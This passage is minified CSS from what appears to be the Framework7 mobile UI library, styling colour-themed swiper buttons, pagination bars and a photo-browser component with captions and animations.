.swiper-button-prev.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.ios .color-black .swiper-pagination-bullet-active,.ios .color-theme-black .swiper-pagination-bullet-active{background:#000}.ios .color-black .swiper-pagination-progressbar,.ios .color-black.swiper-pagination-progressbar,.ios .color-theme-black .swiper-pagination-progressbar,.ios .color-theme-black.swiper-pagination-progressbar{background:rgba(0,0,0,.25)}.ios .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#000}.md .swiper-lazy-preloader{width:32px;height:32px;margin-left:-16px;margin-top:-16px}.md .swiper-button-prev,.md .swiper-container-rtl .swiper-button-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .swiper-button-next,.md .swiper-container-rtl .swiper-button-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .swiper-pagination-bullet-active{background:#2196f3}.md .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#2196f3}.md .color-theme-red .swiper-button-prev,.md .color-theme-red .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-red,.md .swiper-container-rtl .swiper-button-next.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-red .swiper-button-next,.md .color-theme-red .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-red,.md .swiper-container-rtl .swiper-button-prev.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .color-red .swiper-pagination-bullet-active,.md .color-theme-red .swiper-pagination-bullet-active{background:#f44336}.md .color-red .swiper-pagination-progressbar,.md .color-red.swiper-pagination-progressbar,.md .color-theme-red .swiper-pagination-progressbar,.md .color-theme-red.swiper-pagination-progressbar{background:rgba(244,67,54,.25)}.md .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#f44336}.md .color-theme-green .swiper-button-prev,.md .color-theme-green .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-green,.md .swiper-container-rtl .swiper-button-next.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-green .swiper-button-next,.md .color-theme-green .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-green,.md .swiper-container-rtl .swiper-button-prev.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .color-green .swiper-pagination-bullet-active,.md .color-theme-green .swiper-pagination-bullet-active{background:#4caf50}.md .color-green .swiper-pagination-progressbar,.md .color-green.swiper-pagination-progressbar,.md .color-theme-green .swiper-pagination-progressbar,.md .color-theme-green.swiper-pagination-progressbar{background:rgba(76,175,80,.25)}.md .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#4caf50}.md .color-theme-blue .swiper-button-prev,.md .color-theme-blue .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-blue,.md .swiper-container-rtl .swiper-button-next.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-blue .swiper-button-next,.md .color-theme-blue .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-blue,.md .swiper-container-rtl .swiper-button-prev.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .color-blue .swiper-pagination-bullet-active,.md .color-theme-blue .swiper-pagination-bullet-active{background:#2196f3}.md .color-blue .swiper-pagination-progressbar,.md .color-blue.swiper-pagination-progressbar,.md .color-theme-blue .swiper-pagination-progressbar,.md .color-theme-blue.swiper-pagination-progressbar{background:rgba(33,150,243,.25)}.md .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#2196f3}.md .color-theme-pink .swiper-button-prev,.md .color-theme-pink .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-pink,.md .swiper-container-rtl .swiper-button-next.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-pink .swiper-button-next,.md .color-theme-pink .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-pink,.md .swiper-container-rtl .swiper-button-prev.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .color-pink .swiper-pagination-bullet-active,.md .color-theme-pink .swiper-pagination-bullet-active{background:#e91e63}.md .color-pink .swiper-pagination-progressbar,.md .color-pink.swiper-pagination-progressbar,.md .color-theme-pink .swiper-pagination-progressbar,.md .color-theme-pink.swiper-pagination-progressbar{background:rgba(233,30,99,.25)}.md .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#e91e63}.md .color-theme-yellow .swiper-button-prev,.md .color-theme-yellow .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-yellow,.md .swiper-container-rtl .swiper-button-next.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-yellow .swiper-button-next,.md .color-theme-yellow .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-yellow,.md .swiper-container-rtl .swiper-button-prev.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-yellow .swiper-pagination-bullet-active,.md .color-yellow .swiper-pagination-bullet-active{background:#ffeb3b}.md .color-theme-yellow .swiper-pagination-progressbar,.md .color-theme-yellow.swiper-pagination-progressbar,.md .color-yellow .swiper-pagination-progressbar,.md .color-yellow.swiper-pagination-progressbar{background:rgba(255,235,59,.25)}.md .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ffeb3b}.md .color-theme-orange .swiper-button-prev,.md .color-theme-orange .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-orange,.md .swiper-container-rtl .swiper-button-next.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-orange .swiper-button-next,.md .color-theme-orange .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-orange,.md .swiper-container-rtl .swiper-button-prev.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .color-orange .swiper-pagination-bullet-active,.md .color-theme-orange .swiper-pagination-bullet-active{background:#ff9800}.md .color-orange .swiper-pagination-progressbar,.md .color-orange.swiper-pagination-progressbar,.md .color-theme-orange .swiper-pagination-progressbar,.md .color-theme-orange.swiper-pagination-progressbar{background:rgba(255,152,0,.25)}.md .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff9800}.md .color-theme-gray .swiper-button-prev,.md .color-theme-gray .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-gray,.md .swiper-container-rtl .swiper-button-next.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-gray .swiper-button-next,.md .color-theme-gray .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-gray,.md .swiper-container-rtl .swiper-button-prev.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .color-gray .swiper-pagination-bullet-active,.md .color-theme-gray .swiper-pagination-bullet-active{background:#9e9e9e}.md .color-gray .swiper-pagination-progressbar,.md .color-gray.swiper-pagination-progressbar,.md .color-theme-gray .swiper-pagination-progressbar,.md .color-theme-gray.swiper-pagination-progressbar{background:rgba(158,158,158,.25)}.md .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#9e9e9e}.md .color-theme-white .swiper-button-prev,.md .color-theme-white .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-white,.md .swiper-container-rtl .swiper-button-next.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-white .swiper-button-next,.md .color-theme-white .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-white,.md .swiper-container-rtl .swiper-button-prev.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-white .swiper-pagination-bullet-active,.md .color-white .swiper-pagination-bullet-active{background:#fff}.md .color-theme-white .swiper-pagination-progressbar,.md .color-theme-white.swiper-pagination-progressbar,.md .color-white .swiper-pagination-progressbar,.md .color-white.swiper-pagination-progressbar{background:rgba(255,255,255,.25)}.md .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fff}.md .color-theme-black .swiper-button-prev,.md .color-theme-black .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-black,.md .swiper-container-rtl .swiper-button-next.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-black .swiper-button-next,.md .color-theme-black .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-black,.md .swiper-container-rtl .swiper-button-prev.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .color-black .swiper-pagination-bullet-active,.md .color-theme-black .swiper-pagination-bullet-active{background:#000}.md .color-black .swiper-pagination-progressbar,.md .color-black.swiper-pagination-progressbar,.md .color-theme-black .swiper-pagination-progressbar,.md .color-theme-black.swiper-pagination-progressbar{background:rgba(0,0,0,.25)}.md .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#000}.photo-browser{position:absolute;left:0;top:0;width:100%;height:100%;z-index:400}.photo-browser-standalone.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-in .4s;animation:photo-browser-in .4s}.photo-browser-standalone.modal-out{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-out .4s;animation:photo-browser-out .4s}.photo-browser-standalone.modal-out.swipe-close-to-bottom,.photo-browser-standalone.modal-out.swipe-close-to-top{-webkit-animation:none;animation:none}.photo-browser-popup.modal-out.swipe-close-to-bottom,.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transition-duration:.3s;transition-duration:.3s}.photo-browser-popup.modal-out.swipe-close-to-bottom{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transform:translate3d(0,-100vh,0);transform:translate3d(0,-100vh,0)}.page.photo-browser-page{background:0 0}.photo-browser-popup{background:0 0}.photo-browser-exposed .navbar,.photo-browser-exposed .toolbar{opacity:0;visibility:hidden;pointer-events:none}.photo-browser-exposed .photo-browser-swiper-container{background:#000}.photo-browser-of{margin:0 5px}.photo-browser-captions{pointer-events:none;position:absolute;left:0;width:100%;bottom:0;z-index:10;opacity:1;-webkit-transition:.4s;transition:.4s}.photo-browser-captions.photo-browser-captions-exposed{opacity:0}.photo-browser-caption{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s;position:absolute;bottom:0;left:0;opacity:0;padding:4px 5px;width:100%;text-align:center;color:#fff;background:rgba(0,0,0,.8)}.photo-browser-caption:empty{display:none}.photo-browser-caption.photo-browser-caption-active{opacity:1}.photo-browser-captions-light .photo-browser-caption{background:rgba(255,255,255,.8);color:#000}.photo-browser-captions-dark .photo-browser-caption{color:#fff}.photo-browser-exposed .photo-browser-caption{color:#fff;background:rgba(0,0,0,.8)}.photo-browser-swiper-container{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;background:#fff;-webkit-transition:.4s;transition:.4s;-webkit-transition-property:background-color;transition-property:background-color}.photo-browser-next.swiper-button-disabled,.photo-browser-prev.swiper-button-disabled{opacity:.3}.photo-browser-slide{width:100%;height:100%;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box}.photo-browser-slide.photo-browser-transitioning{-webkit-transition:.4s;transition:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.photo-browser-slide span.swiper-zoom-container{display:none}.photo-browser-slide img{width:auto;height:auto;max-width:100%;max-height:100%;display:none}.photo-browser-slide.swiper-slide-active span.swiper-zoom-container,.photo-browser-slide.swiper-slide-next span.swiper-zoom-container,.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.photo-browser-slide.swiper-slide-active img,.photo-browser-slide.swiper-slide-next img,.photo-browser-slide.swiper-slide-prev img{display:inline}.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader{display:block}.photo-browser-slide iframe{width:100%;height:100%}.photo-browser-slide .preloader{display:none;position:absolute;width:42px;height:42px;margin-left:-21px;margin-top:-21px;left:50%;top:50%}.photo-browser-dark .photo-browser-swiper-container,.photo-browser-page-dark .photo-browser-swiper-container{background:#000}@-webkit-keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@-webkit-keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}@keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}.ios .toolbar~.photo-browser-captions{bottom:44px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .toolbar~.photo-browser-captions.photo-browser-captions-exposed{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .photo-browser-exposed .toolbar~.photo-browser-captions{-webkit-transform:translate3d(0,44px,0);transform:translate3d(0,44px,0)}.ios .photo-browser-page .toolbar{-webkit-transform:none;transform:none}.ios .view.with-photo-browser-page-exposed .navbar{opacity:0}.ios .photo-browser-page .navbar,.ios .photo-browser-page .toolbar,.ios .view.with-photo-browser-page .navbar,.ios .view.with-photo-browser-page .toolbar{background:rgba(247,247,248,.95);-webkit-transition:.4s;transition:.4s}.ios .photo-browser-dark .navbar,.ios .photo-browser-dark .toolbar,.ios .photo-browser-page-dark .navbar,.ios .photo-browser-page-dark .toolbar,.ios .view.with-photo-browser-page-dark .navbar,.ios .view.with-photo-browser-page-dark .toolbar{background:rgba(30,30,30,.8);color:#fff}.ios .photo-browser-dark .navbar:before,.ios .photo-browser-dark .toolbar:before,.ios .photo-browser-page-dark .navbar:before,.ios .photo-browser-page-dark .toolbar:before,.ios .view.with-photo-browser-page-dark .navbar:before,.ios .view.with-photo-browser-page-dark .toolbar:before{display:none!important}.ios .photo-browser-dark .navbar:after,.ios .photo-browser-dark .toolbar:after,.ios .photo-browser-page-dark .navbar:after,.ios .photo-browser-page-dark .toolbar:after,.ios .view.with-photo-browser-page-dark .navbar:after,.ios .view.with-photo-browser-page-dark .toolbar:after{display:none!important}.ios .photo-browser-dark .navbar a,.ios .photo-browser-dark .toolbar a,.ios .photo-browser-page-dark .navbar a,.ios .photo-browser-page-dark .toolbar a,.ios .view.with-photo-browser-page-dark .navbar a,.ios .view.with-photo-browser-page-dark .toolbar a{color:#fff}.ios.device-iphone-x .photo-browser-captions{bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .toolbar~.photo-browser-captions{bottom:calc(44px + constant(safe-area-inset-bottom));bottom:calc(44px + env(safe-area-inset-bottom))}.md .toolbar~.photo-browser-captions{bottom:48px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.md .toolbar~.photo-browser-captions.photo-browser-captions-exposed{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.md .photo-browser-exposed .toolbar~.photo-browser-captions{-webkit-transform:translate3d(0,48px,0);transform:translate3d(0,48px,0)}.md .photo-browser-page .toolbar{-webkit-transform:none;transform:none}.md .photo-browser-page .navbar,.md .photo-browser-page .toolbar{background:rgba(33,150,243,.95);-webkit-transition:.4s;transition:.4s}.md .photo-browser-dark .navbar,.md .photo-browser-dark .toolbar,.md .photo-browser-page-dark .navbar,.md .photo-browser-page-dark .toolbar{background:rgba(30,30,30,.8)!important;color:#fff}.md .photo-browser-dark .navbar a,.md .photo-browser-dark .toolbar a,.md .photo-browser-page-dark .navbar a,.md .photo-browser-page-dark .toolbar a{color:#fff}.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(244,67,54,.95)}.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(76,175,80,.95)}.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(33,150,243,.95)}.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(233,30,99,.95)}.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,235,59,.95)}.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,152,0,.95)}.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(158,158,158,.95)}.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar{background-color:rgba(255,255,255,.95)}.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar,.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .navbar,.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) 